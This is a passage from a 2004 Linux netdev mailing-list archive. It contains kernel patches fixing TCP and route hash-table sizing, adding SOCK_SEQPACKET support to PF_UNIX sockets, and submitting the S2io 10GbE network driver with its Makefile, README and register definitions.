(established 262144 bind 65536) Current 2.6 BK: TCP: Hash tables configured (established 4096 bind 4096) It looks like the hash clamping patches wanted to clamp at 1 << 10, not 10. Patch below. Anton --- foobar2-anton/net/ipv4/tcp.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN net/ipv4/tcp.c~ehashfix net/ipv4/tcp.c --- foobar2/net/ipv4/tcp.c~ehashfix 2004-02-28 13:10:48.151071100 +1100 +++ foobar2-anton/net/ipv4/tcp.c 2004-02-28 13:11:41.434038779 +1100 @@ -2622,7 +2622,7 @@ void __init tcp_init(void) goal = num_physpages >> (23 - PAGE_SHIFT); if (!thash_entries) - goal = min(10UL, goal); + goal = min(1UL << 10, goal); else goal = (thash_entries * sizeof(struct tcp_ehash_bucket)) >> PAGE_SHIFT; for (order = 0; (1UL << order) < goal; order++) From akpm@osdl.org Fri Feb 27 19:55:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 19:55:16 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1S3t7KO001415 for ; Fri, 27 Feb 2004 19:55:07 -0800 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i1S3svE06855; Fri, 27 Feb 2004 19:54:58 -0800 Date: Fri, 27 Feb 2004 19:55:48 -0800 From: Andrew Morton To: Anton Blanchard Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org, davem@redhat.com, kenneth.w.chen@intel.com, olof@austin.ibm.com Subject: Re: [PATCH] performance problem with established hash Message-Id: <20040227195548.210f7204.akpm@osdl.org> In-Reply-To: <20040228022537.GR5801@krispykreme> References: <20040228022537.GR5801@krispykreme> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3640 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Anton Blanchard wrote: > > - goal = min(10UL, goal); > + goal = min(1UL << 10, goal); oops. Better fix the route cache too. I'm not sure what went wrong in there, sorry for letting that slip through. Obviously, doing if (a) foo = bar; else foo = zot; if (b) foo = rab; else foo = toz; does not make a ton of sense. This should fix it up. We keep the table sizing identical to that which we had in 2.6.earlier, with a boot option override. net/ipv4/route.c | 4 +--- net/ipv4/tcp.c | 4 +--- 2 files changed, 2 insertions(+), 6 deletions(-) diff -puN net/ipv4/route.c~ip_rt_init-sizing-fix net/ipv4/route.c --- 25/net/ipv4/route.c~ip_rt_init-sizing-fix 2004-02-27 19:43:01.000000000 -0800 +++ 25-akpm/net/ipv4/route.c 2004-02-27 19:51:02.000000000 -0800 @@ -2753,9 +2753,7 @@ int __init ip_rt_init(void) panic("IP: failed to allocate ip_dst_cache\n"); goal = num_physpages >> (26 - PAGE_SHIFT); - if (!rhash_entries) - goal = min(10, goal); - else + if (rhash_entries) goal = (rhash_entries * sizeof(struct rt_hash_bucket)) >> PAGE_SHIFT; for (order = 0; (1UL << order) < goal; order++) /* NOTHING */; diff -puN net/ipv4/tcp.c~ip_rt_init-sizing-fix net/ipv4/tcp.c --- 25/net/ipv4/tcp.c~ip_rt_init-sizing-fix 2004-02-27 19:51:40.000000000 -0800 +++ 25-akpm/net/ipv4/tcp.c 2004-02-27 19:52:27.000000000 -0800 @@ -2621,9 +2621,7 @@ void __init tcp_init(void) else goal = num_physpages >> (23 - PAGE_SHIFT); - if (!thash_entries) - goal = min(10UL, goal); - else + if (thash_entries) goal = (thash_entries * sizeof(struct tcp_ehash_bucket)) >> PAGE_SHIFT; for (order = 0; (1UL << order) < goal; order++) ; _ From scd@broked.org Fri Feb 27 23:19:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 23:19:34 -0800 (PST) Received: from themargofoundation.org (IDENT:postfix@246.132.206.65.brainstorminternet.net [65.206.132.246]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1S7JPKO007621 for ; Fri, 27 Feb 2004 23:19:25 -0800 Received: from slickdeal.broked.org (65-101-13-223.phnx.qwest.net [65.101.13.223]) by themargofoundation.org (Postfix) with ESMTP id EE01710B9A for ; Sat, 28 Feb 2004 00:35:43 -0700 (MST) Subject: [PATCH] Add SOCK_SEQPACKET to PF_UNIX protocol family From: Steven Dake Reply-To: scd@broked.org To: netdev@oss.sgi.com Content-Type: multipart/mixed; boundary="=-sRHf0cmxArlz/zqyfL//" Organization: Broked Software Foundation Message-Id: <1077952763.21806.78.camel@slickdeal.broked.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Sat, 28 Feb 2004 00:19:23 -0700 X-archive-position: 3641 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scd@broked.org Precedence: bulk X-list: netdev --=-sRHf0cmxArlz/zqyfL// Content-Type: text/plain Content-Transfer-Encoding: 7bit Folks, Attached is a patch which adds SOCK_SEQPACKET to the PF_UNIX protocol family. It doesn't seem to break SOCK_STREAM or SOCK_DGRAM for PF_UNIX and adds the desired functionality. I could find alot of questions about "is this supported" but only one response stating as of yet it is not. SOCK_DGRAM doesn't work on connected sockets. Using SOCK_STREAM for connection oriented sockets requires the application to frame if variable length messages are desired. This patch provides the best of both of those protocols by following the SOCK_SEQPACKET semantics of allowing datagrams over connected PF_UNIX sockets. SOCK_SEQPACKET provides several advantages over SOCK_STREAM or SOCK_DGRAM: 1. only one system call (vs two for SOCK_STREAM) is required for variable length messages, no framing is required 2. the end of a large message can be discarded without processing if the application is only interested in the beginning of the message. 3. connected fds can be used to uniquely identify a connection. (the kernel is used to ensure application security). Comments welcome, enjoy -steve --=-sRHf0cmxArlz/zqyfL// Content-Disposition: attachment; filename=linux-2.6.3-af_unix-sockseqpacket.patch Content-Type: text/plain; name=linux-2.6.3-af_unix-sockseqpacket.patch; charset= Content-Transfer-Encoding: 7bit --- linux-2.6.3/net/unix/af_unix.c 2004-02-17 20:58:33.000000000 -0700 +++ linux-2.6.3-seqpacket/net/unix/af_unix.c 2004-02-27 23:25:23.000000000 -0700 @@ -377,7 +377,7 @@ skpair=unix_peer(sk); if (skpair!=NULL) { - if (sk->sk_type == SOCK_STREAM) { + if (sk->sk_type == SOCK_STREAM || sk->sk_type == SOCK_SEQPACKET) { unix_state_wlock(skpair); /* No more writes */ skpair->sk_shutdown = SHUTDOWN_MASK; @@ -435,8 +435,8 @@ struct unix_sock *u = unix_sk(sk); err = -EOPNOTSUPP; - if (sock->type!=SOCK_STREAM) - goto out; /* Only stream sockets accept */ + if (sock->type!=SOCK_STREAM && sock->type!=SOCK_SEQPACKET) + goto out; /* Only stream/seqpacket sockets accept */ err = -EINVAL; if (!u->addr) goto out; /* No listens on an unbound socket */ @@ -461,6 +461,7 @@ extern struct proto_ops unix_stream_ops; extern struct proto_ops unix_dgram_ops; +extern struct proto_ops unix_seqpacket_ops; static struct sock * unix_create1(struct socket *sock) { @@ -515,6 +516,9 @@ case SOCK_DGRAM: sock->ops = &unix_dgram_ops; break; + case SOCK_SEQPACKET: + sock->ops = &unix_seqpacket_ops; + break; default: return -ESOCKTNOSUPPORT; } @@ -982,7 +986,7 @@ sock_hold(sk); unix_peer(newsk) = sk; newsk->sk_state = TCP_ESTABLISHED; - newsk->sk_type = SOCK_STREAM; + newsk->sk_type = sk->sk_type; newsk->sk_peercred.pid = current->tgid; newsk->sk_peercred.uid = current->euid; newsk->sk_peercred.gid = current->egid; @@ -1066,7 +1070,7 @@ int err; err = -EOPNOTSUPP; - if (sock->type!=SOCK_STREAM) + if (sock->type!=SOCK_STREAM && sock->type!=SOCK_SEQPACKET) goto out; err = -EINVAL; @@ -1711,7 +1715,9 @@ unix_state_wunlock(sk); sk->sk_state_change(sk); - if (other && sk->sk_type == SOCK_STREAM) { + if (other && + (sk->sk_type == SOCK_STREAM || sk->sk_type == SOCK_SEQPACKET)) { + int peer_mode = 0; if (mode&RCV_SHUTDOWN) @@ -1791,7 +1797,7 @@ mask |= POLLIN | POLLRDNORM; /* Connection-based need to check for termination and startup */ - if (sk->sk_type == SOCK_STREAM && sk->sk_state == TCP_CLOSE) + if ((sk->sk_type == SOCK_STREAM || sk->sk_type == SOCK_SEQPACKET) && sk->sk_state == TCP_CLOSE) mask |= POLLHUP; /* @@ -1967,6 +1973,27 @@ .sendpage = sock_no_sendpage, }; +struct proto_ops unix_seqpacket_ops = { + .family = PF_UNIX, + .owner = THIS_MODULE, + .release = unix_release, + .bind = unix_bind, + .connect = unix_stream_connect, + .socketpair = unix_socketpair, + .accept = unix_accept, + .getname = unix_getname, + .poll = datagram_poll, + .ioctl = unix_ioctl, + .listen = unix_listen, + .shutdown = unix_shutdown, + .setsockopt = sock_no_setsockopt, + .getsockopt = sock_no_getsockopt, + .sendmsg = unix_dgram_sendmsg, + .recvmsg = unix_dgram_recvmsg, + .mmap = sock_no_mmap, + .sendpage = sock_no_sendpage, +}; + struct net_proto_family unix_family_ops = { .family = PF_UNIX, .create = unix_create, --=-sRHf0cmxArlz/zqyfL//-- From davem@redhat.com Fri Feb 27 23:51:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 23:52:06 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1S7poKO008388 for ; Fri, 27 Feb 2004 23:51:51 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1S7pab07093; Sat, 28 Feb 2004 02:51:36 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1S7pa823095; Sat, 28 Feb 2004 02:51:36 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1S7pHeF004618; Sat, 28 Feb 2004 02:51:17 -0500 Date: Fri, 27 Feb 2004 23:51:20 -0800 From: "David S. Miller" To: Andrew Morton Cc: anton@samba.org, netdev@oss.sgi.com, linux-kernel@vger.kernel.org, kenneth.w.chen@intel.com, olof@austin.ibm.com Subject: Re: [PATCH] performance problem with established hash Message-Id: <20040227235120.72fc185a.davem@redhat.com> In-Reply-To: <20040227195548.210f7204.akpm@osdl.org> References: <20040228022537.GR5801@krispykreme> <20040227195548.210f7204.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3642 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 27 Feb 2004 19:55:48 -0800 Andrew Morton wrote: > This should fix it up. We keep the table sizing identical to that which > we had in 2.6.earlier, with a boot option override. Andrew, just push this to Linus now if you haven't already :) From leonid.grossman@s2io.com Sat Feb 28 07:11:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Feb 2004 07:11:49 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1SFBYKO022694 for ; Sat, 28 Feb 2004 07:11:35 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i1SFAgjF003218; Sat, 28 Feb 2004 10:10:42 -0500 (EST) Received: from lgt40 ([192.168.0.3]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i1SFAWKK003407; Sat, 28 Feb 2004 10:10:33 -0500 (EST) From: "Leonid Grossman" To: Cc: "'Jeff Garzik'" , "'Stephen Hemminger'" , "'Christoph Hellwig'" , "'ravinandan arakali'" , Subject: Submission #3 for S2io 10GbE driver Date: Sat, 28 Feb 2004 07:08:11 -0800 Message-ID: <000001c3fe0c$af99c9e0$0300a8c0@S2IOtech.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0001_01C3FDC9.A17689E0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal In-Reply-To: <20040217001111.A23086@infradead.org> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Scanned-By: MIMEDefang 2.34 X-archive-position: 3643 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C3FDC9.A17689E0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi all, Attached is a patch file for the driver that addresses (hopefully :-)) all the comments we received for the submission #2. As always, thanks for everybody who took the time and effort to suggest improvements to our code. This consists of a S2io folder in the ~/drivers/net folder and an enhanced Kconfig file also in the same folder. The Kconfig file now reflects the S2IO and S2IO_NAPI config and help details. Also the s2io source files in the s2io folder no longer contain the CVS messages that get inserted during CVS commits. As a side note, we've done more performance testing on the 2.6 kernel and I'd like to retract my earlier comment about marginal benefits of Linux TSO support. At least with the latest kernel, we are getting extra ~8% transmit performance with large send offload; this is very much in line with results on other operating systems. Regards, Leonid ------=_NextPart_000_0001_01C3FDC9.A17689E0 Content-Type: application/octet-stream; name="s2ioDriver.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="s2ioDriver.patch" diff -urN vanilla-linux/drivers/net/Kconfig = vanilla-linux-patch/drivers/net/Kconfig=0A= --- vanilla-linux/drivers/net/Kconfig 2003-10-26 00:14:36.000000000 +0530=0A= +++ vanilla-linux-patch/drivers/net/Kconfig 2004-02-27 = 20:26:00.000000000 +0530=0A= @@ -2058,6 +2058,18 @@=0A= bool "Use Rx Polling (NAPI) (EXPERIMENTAL)"=0A= depends on IXGB && EXPERIMENTAL=0A= =0A= +config S2IO=0A= + tristate "S2IO 10Gbe XFrame NIC"=0A= + depends on PCI=0A= + ---help---=0A= + This driver supports the 10Gbe XFrame NIC of S2IO. =0A= + For help regarding driver compilation, installation and =0A= + tuning please look into ~/drivers/net/s2io/README.txt.=0A= +=0A= +config S2IO_NAPI=0A= + bool "Use Rx Polling (NAPI) (EXPERIMENTAL)"=0A= + depends on S2IO && EXPERIMENTAL=0A= +=0A= endmenu=0A= =0A= =0A= diff -urN vanilla-linux/drivers/net/s2io/Makefile = vanilla-linux-patch/drivers/net/s2io/Makefile=0A= --- vanilla-linux/drivers/net/s2io/Makefile 1970-01-01 = 05:30:00.000000000 +0530=0A= +++ vanilla-linux-patch/drivers/net/s2io/Makefile 2004-02-27 = 20:26:50.000000000 +0530=0A= @@ -0,0 +1,91 @@=0A= +#!/usr/bin/make=0A= +# Makefile for building Linux S2io 10Gigabit ethernet driver as a = module.=0A= +=0A= +# PREFIX may be set by the RPM build to set the effective root.=0A= +PREFIX=3D=0A= +ifeq ($(shell ls /lib/modules/`uname -r`/build > /dev/null 2>&1 && echo = build),)=0A= + ifeq ($(shell ls /usr/src/linux > /dev/null 2>&1 && echo linux),)=0A= + LINUX=3D=0A= + else=0A= + LINUX=3D/usr/src/linux=0A= + endif=0A= +else=0A= + LINUX=3D/lib/modules/`uname -r`/build=0A= +endif=0A= +=0A= +ifeq ($(LINUX),)=0A= + $(error Linux kernel source tree not found)=0A= +endif=0A= +=0A= +CC =3D gcc=0A= +LD =3D ld=0A= +=0A= +=0A= +INCLUDEDIR:=3D$(shell uname -r | sed 's/\([0-9]*\.[0-9]*\)\..*/\1/')=0A= +=0A= +ARCH:=3D$(shell uname -m)=0A= +=0A= +ifeq ($(INCLUDEDIR),2.6)=0A= +=0A= +ifneq ($(KERNELRELEASE), )=0A= +obj-m :=3D s2io.o=0A= +=0A= +else=0A= +KDIR :=3D /lib/modules/$(shell uname -r)/build=0A= +PWD :=3D $(shell pwd)=0A= +default:=0A= + @echo Build on Linux-$(INCLUDEDIR);=0A= + $(MAKE) -C $(KDIR) SUBDIRS=3D$(PWD) modules=0A= +endif=0A= +endif=0A= +=0A= +ifeq ($(INCLUDEDIR),2.4)=0A= +# Default flags for ia64, alpha, x86_64, i686 & ppc64=0A= +CFLAGS=3D -DMODULE -D__KERNEL__ -I/usr/src/linux-$(INCLUDEDIR)/include = -Wall\=0A= + -Wstrict-prototypes -O2=0A= +=0A= +ifeq ($(ARCH),alpha)=0A= +CFLAGS+=3D-ffixed-8 -mno-fp-regs -pipe -O2=0A= +endif=0A= +=0A= +ifeq ($(ARCH),ppc64)=0A= +CC =3D /opt/cross/bin/powerpc64-linux-gcc=0A= +LD =3D /opt/cross/bin/powerpc64-linux-ld=0A= +endif=0A= +=0A= +ifeq ($(ARCH),ia64)=0A= +endif=0A= +=0A= +ifeq ($(ARCH),x86_64)=0A= +CFLAGS+=3D -mcmodel=3Dkernel=0A= +endif=0A= +=0A= +#ifeq ($(ARCH),i686)=0A= +#endif=0A= +=0A= +all: s2io.o=0A= + @echo Build on Linux-$(INCLUDEDIR);=0A= + =0A= +s2io.o: s2io.h=0A= +=0A= +install: s2io.o=0A= + @echo Install on Linux-$(INCLUDEDIR);=0A= + @if [ -d $(PREFIX)/lib/modules/`uname -r`/kernel/drivers/net/s2io ];\=0A= + then install -m 444 s2io.o $(PREFIX)/lib/modules/`uname = -r`/kernel/drivers/net/s2io;\=0A= + elif [ -d $(PREFIX)/lib/modules/`uname -r`/kernel/drivers/net ];\=0A= + then install -m 444 s2io.o $(PREFIX)/lib/modules/`uname = -r`/kernel/drivers/net;\=0A= + fi=0A= + @if [ "$(PREFIX)" =3D "" ]; then /sbin/depmod -a ;\=0A= + else echo " *** Run '/sbin/depmod -a' to update the module database.";\=0A= + fi=0A= +=0A= +.PHONEY: all clean install=0A= +=0A= +endif=0A= +=0A= +clean:=0A= + @echo Clean on Linux-$(INCLUDEDIR);=0A= + @if [ "$(INCLUDEDIR)" =3D "2.4" ]; then /bin/rm -f s2io.o;\=0A= + elif [ "$(INCLUDEDIR)" =3D "2.6" ]; then /bin/rm -f s2io.o s2io.mod.c = s2io.mod.o s2io.ko;\=0A= + fi=0A= + =0A= diff -urN vanilla-linux/drivers/net/s2io/README.txt = vanilla-linux-patch/drivers/net/s2io/README.txt=0A= --- vanilla-linux/drivers/net/s2io/README.txt 1970-01-01 = 05:30:00.000000000 +0530=0A= +++ vanilla-linux-patch/drivers/net/s2io/README.txt 2004-02-27 = 20:26:50.000000000 +0530=0A= @@ -0,0 +1,55 @@=0A= +1. If jumbo frames are being used, with MTU sizes in excess of 1500 = bytes the=20 +Tx/Rx side coalescing has to be varied.=20 +For an MTU size of 9600 the coalescing parametes which can be used are, + +For Tx interrupts. + + % Bandwidth used No of Packets per interrupt. +------------------------------------------------------------ +i. 0 - 10 1 +ii. 10 - 15 2 +iii. 15 - 40 2 +iv. 40 - 100 4 + +For Rx side, + + % Bandwidth used No of Packets per interrupt. +------------------------------------------------------------ +i. 0 - 10 1 +ii. 10 - 15 2 +iii. 15 - 40 4 +iv. 40 - 100 8 + +2. The Util is a utility that can be used to look into the Register = space of the NIC and also to dump some data from the driver. The util.c = basically makes=20 +IOCTL calls to the device to extract this info, so the device name = variable in=20 +the code has to be changed appropriately and recompiled (using bd = script)=20 +before using this tool. + +3. When loaded as a module, the driver provides a host of Module = loadable +parameters, so the device can be tuned as per the users needs. +A list of the Module params is given below. + (i) ring_num: This can be used to program the number of receive=20 + rings used in the driver. + (ii) ring_len: This defines the number of descriptors each ring can = have. + There can be a maximum of 8 rings. + (iii) frame_len: This is an array of size 8. Using this we can set the = + maximum size of the received frame that can be steered=20 + into the corrsponding receive ring.=09 + (iv) fifo_num: This defines the number of Tx FIFOs thats used in the = + driver.=20 + (v) fifo_len: Each element defines the number of=20 + Tx descriptors that can be associated with each corresponding FIFO. + There are a maximum of 8 FIFOs. + (vi) tx_prio: This is a bool, if module is loaded with a non-zero + value for tx_prio multi FIFO scheme is activated. + (vii) rx_prio: This is a bool, if module is loaded with a non-zero + value for tx_prio multi RING scheme is activated. + (viii) latency_timer: The value given against this param will be = loaded + into the latency timer register in PCI Config space, else + the register is left with its reset value. + +BUILD INSTRUCTIONS. +A make file is provided. It will detect IA32,IA64,Opteron,POWERPC-64=20 +platforms. It can also detect 2.4/2.6 kernel versions. Please note, for = 2.4 +kernel, you need to load "s2io.o" and for 2.6 platforms you need to = load +"s2io.ko".=20 diff -urN vanilla-linux/drivers/net/s2io/regs.h = vanilla-linux-patch/drivers/net/s2io/regs.h=0A= --- vanilla-linux/drivers/net/s2io/regs.h 1970-01-01 05:30:00.000000000 = +0530=0A= +++ vanilla-linux-patch/drivers/net/s2io/regs.h 2004-02-27 = 20:48:16.000000000 +0530=0A= @@ -0,0 +1,775 @@=0A= +/***********************************************************************= *=0A= + * regs.h: A Linux PCI-X Ethernet driver for S2IO 10GbE Server NIC=0A= + * Copyright 2002 Raghavendra Koushik (raghavendra.koushik@s2io.com)=0A= +=0A= + * This software may be used and distributed according to the terms of=0A= + * the GNU General Public License (GPL), incorporated herein by = reference.=0A= + * Drivers based on or derived from this code fall under the GPL and = must=0A= + * retain the authorship, copyright and license notice. This file is = not=0A= + * a complete program and may only be used when the entire operating=0A= + * system is licensed under the GPL.=0A= + * See the file COPYING in this distribution for more information.=0A= + = ************************************************************************/=0A= +#ifndef _REGS_H=0A= +#define _REGS_H=0A= +=0A= +#define TBD 0=0A= +=0A= +typedef struct _XENA_dev_config {=0A= +/* Convention: mHAL_XXX is mask, vHAL_XXX is value */=0A= +=0A= +/* General Control-Status Registers */=0A= + u64 general_int_status;=0A= +#define GEN_INTR_TXPIC BIT(0)=0A= +#define GEN_INTR_TXDMA BIT(1)=0A= +#define GEN_INTR_TXMAC BIT(2)=0A= +#define GEN_INTR_TXXGXS BIT(3)=0A= +#define GEN_INTR_TXTRAFFIC BIT(8)=0A= +#define GEN_INTR_RXPIC BIT(32)=0A= +#define GEN_INTR_RXDMA BIT(33)=0A= +#define GEN_INTR_RXMAC BIT(34)=0A= +#define GEN_INTR_MC BIT(35)=0A= +#define GEN_INTR_RXXGXS BIT(36)=0A= +#define GEN_INTR_RXTRAFFIC BIT(40)=0A= +#define GEN_ERROR_INTR GEN_INTR_TXPIC | GEN_INTR_RXPIC | \=0A= + GEN_INTR_TXDMA | GEN_INTR_RXDMA | \=0A= + GEN_INTR_TXMAC | GEN_INTR_RXMAC | \=0A= + GEN_INTR_TXXGXS| GEN_INTR_RXXGXS| \=0A= + GEN_INTR_MC=0A= +=0A= + u64 general_int_mask;=0A= +=0A= + u8 unused0[0x100 - 0x10];=0A= +=0A= + u64 sw_reset;=0A= +/* XGXS must be removed from reset only once. */=0A= +#define SW_RESET_XENA vBIT(0xA5,0,8)=0A= +#define SW_RESET_FLASH vBIT(0xA5,8,8)=0A= +#define SW_RESET_EOI vBIT(0xA5,16,8)=0A= +#define SW_RESET_ALL (SW_RESET_XENA | \=0A= + SW_RESET_FLASH | \=0A= + SW_RESET_EOI)=0A= +/* The SW_RESET register must read this value after a successful reset. = */=0A= +#define SW_RESET_RAW_VAL 0xA5000000=0A= +=0A= +=0A= + u64 adapter_status;=0A= +#define ADAPTER_STATUS_TDMA_READY BIT(0)=0A= +#define ADAPTER_STATUS_RDMA_READY BIT(1)=0A= +#define ADAPTER_STATUS_PFC_READY BIT(2)=0A= +#define ADAPTER_STATUS_TMAC_BUF_EMPTY BIT(3)=0A= +#define ADAPTER_STATUS_PIC_QUIESCENT BIT(5)=0A= +#define ADAPTER_STATUS_RMAC_REMOTE_FAULT BIT(6)=0A= +#define ADAPTER_STATUS_RMAC_LOCAL_FAULT BIT(7)=0A= +#define ADAPTER_STATUS_RMAC_PCC_IDLE vBIT(0xFF,8,8)=0A= +#define ADAPTER_STATUS_RC_PRC_QUIESCENT vBIT(0xFF,16,8)=0A= +#define ADAPTER_STATUS_MC_DRAM_READY BIT(24)=0A= +#define ADAPTER_STATUS_MC_QUEUES_READY BIT(25)=0A= +#define ADAPTER_STATUS_M_PLL_LOCK BIT(30)=0A= +#define ADAPTER_STATUS_P_PLL_LOCK BIT(31)=0A= +=0A= + u64 adapter_control;=0A= +#define ADAPTER_CNTL_EN BIT(7)=0A= +#define ADAPTER_EOI_TX_ON BIT(15)=0A= +#define ADAPTER_LED_ON BIT(23)=0A= +#define ADAPTER_UDPI(val) vBIT(val,36,4)=0A= +#define ADAPTER_WAIT_INT BIT(48)=0A= +#define ADAPTER_ECC_EN BIT(55)=0A= +=0A= + u64 serr_source;=0A= +#define SERR_SOURCE_PIC BIT(0)=0A= +#define SERR_SOURCE_TXDMA BIT(1)=0A= +#define SERR_SOURCE_RXDMA BIT(2)=0A= +#define SERR_SOURCE_MAC BIT(3)=0A= +#define SERR_SOURCE_MC BIT(4)=0A= +#define SERR_SOURCE_XGXS BIT(5)=0A= +#define SERR_SOURCE_ANY (SERR_SOURCE_PIC | \=0A= + SERR_SOURCE_TXDMA | \=0A= + SERR_SOURCE_RXDMA | \=0A= + SERR_SOURCE_MAC | \=0A= + SERR_SOURCE_MC | \=0A= + SERR_SOURCE_XGXS)=0A= +=0A= +=0A= + u8 unused_0[0x800 - 0x120];=0A= +=0A= +/* PCI-X Controller registers */=0A= + u64 pic_int_status;=0A= + u64 pic_int_mask;=0A= +#define PIC_INT_TX BIT(0)=0A= +#define PIC_INT_FLSH BIT(1)=0A= +#define PIC_INT_MDIO BIT(2)=0A= +#define PIC_INT_IIC BIT(3)=0A= +#define PIC_INT_GPIO BIT(4)=0A= +#define PIC_INT_RX BIT(32)=0A= +=0A= + u64 txpic_int_reg;=0A= + u64 txpic_int_mask;=0A= +#define PCIX_INT_REG_ECC_SG_ERR BIT(0)=0A= +#define PCIX_INT_REG_ECC_DB_ERR BIT(1)=0A= +#define PCIX_INT_REG_FLASHR_R_FSM_ERR BIT(8)=0A= +#define PCIX_INT_REG_FLASHR_W_FSM_ERR BIT(9)=0A= +#define PCIX_INT_REG_INI_TX_FSM_SERR BIT(10)=0A= +#define PCIX_INT_REG_INI_TXO_FSM_ERR BIT(11)=0A= +#define PCIX_INT_REG_TRT_FSM_SERR BIT(13)=0A= +#define PCIX_INT_REG_SRT_FSM_SERR BIT(14)=0A= +#define PCIX_INT_REG_PIFR_FSM_SERR BIT(15)=0A= +#define PCIX_INT_REG_WRC_TX_SEND_FSM_SERR BIT(21)=0A= +#define PCIX_INT_REG_RRC_TX_REQ_FSM_SERR BIT(23)=0A= +#define PCIX_INT_REG_INI_RX_FSM_SERR BIT(48)=0A= +#define PCIX_INT_REG_RA_RX_FSM_SERR BIT(50)=0A= +/*=0A= +#define PCIX_INT_REG_WRC_RX_SEND_FSM_SERR BIT(52)=0A= +#define PCIX_INT_REG_RRC_RX_REQ_FSM_SERR BIT(54)=0A= +#define PCIX_INT_REG_RRC_RX_SPLIT_FSM_SERR BIT(58)=0A= +*/=0A= + u64 txpic_alarms;=0A= + u64 rxpic_int_reg;=0A= + u64 rxpic_int_mask;=0A= + u64 rxpic_alarms;=0A= +=0A= + u64 flsh_int_reg;=0A= + u64 flsh_int_mask;=0A= +#define PIC_FLSH_INT_REG_CYCLE_FSM_ERR BIT(63)=0A= +#define PIC_FLSH_INT_REG_ERR BIT(62)=0A= + u64 flash_alarms;=0A= +=0A= + u64 mdio_int_reg;=0A= + u64 mdio_int_mask;=0A= +#define MDIO_INT_REG_MDIO_BUS_ERR BIT(0)=0A= +#define MDIO_INT_REG_DTX_BUS_ERR BIT(8)=0A= +#define MDIO_INT_REG_LASI BIT(39)=0A= + u64 mdio_alarms;=0A= +=0A= + u64 iic_int_reg;=0A= + u64 iic_int_mask;=0A= +#define IIC_INT_REG_BUS_FSM_ERR BIT(4)=0A= +#define IIC_INT_REG_BIT_FSM_ERR BIT(5)=0A= +#define IIC_INT_REG_CYCLE_FSM_ERR BIT(6)=0A= +#define IIC_INT_REG_REQ_FSM_ERR BIT(7)=0A= +#define IIC_INT_REG_ACK_ERR BIT(8)=0A= + u64 iic_alarms;=0A= +=0A= + u8 unused4[0x08];=0A= +=0A= + u64 gpio_int_reg;=0A= + u64 gpio_int_mask;=0A= + u64 gpio_alarms;=0A= +=0A= + u8 unused5[0x38];=0A= +=0A= + u64 tx_traffic_int;=0A= +#define TX_TRAFFIC_INT_n(n) BIT(n)=0A= + u64 tx_traffic_mask;=0A= +=0A= + u64 rx_traffic_int;=0A= +#define RX_TRAFFIC_INT_n(n) BIT(n)=0A= + u64 rx_traffic_mask;=0A= +=0A= +/* PIC Control registers */=0A= + u64 pic_control;=0A= +#define PIC_CNTL_RX_ALARM_MAP_1 BIT(0)=0A= +#define PIC_CNTL_SHARED_SPLITS(n) vBIT(n,11,4)=0A= +=0A= + u64 swapper_ctrl;=0A= +#define SWAPPER_CTRL_PIF_R_FE BIT(0)=0A= +#define SWAPPER_CTRL_PIF_R_SE BIT(1)=0A= +#define SWAPPER_CTRL_PIF_W_FE BIT(8)=0A= +#define SWAPPER_CTRL_PIF_W_SE 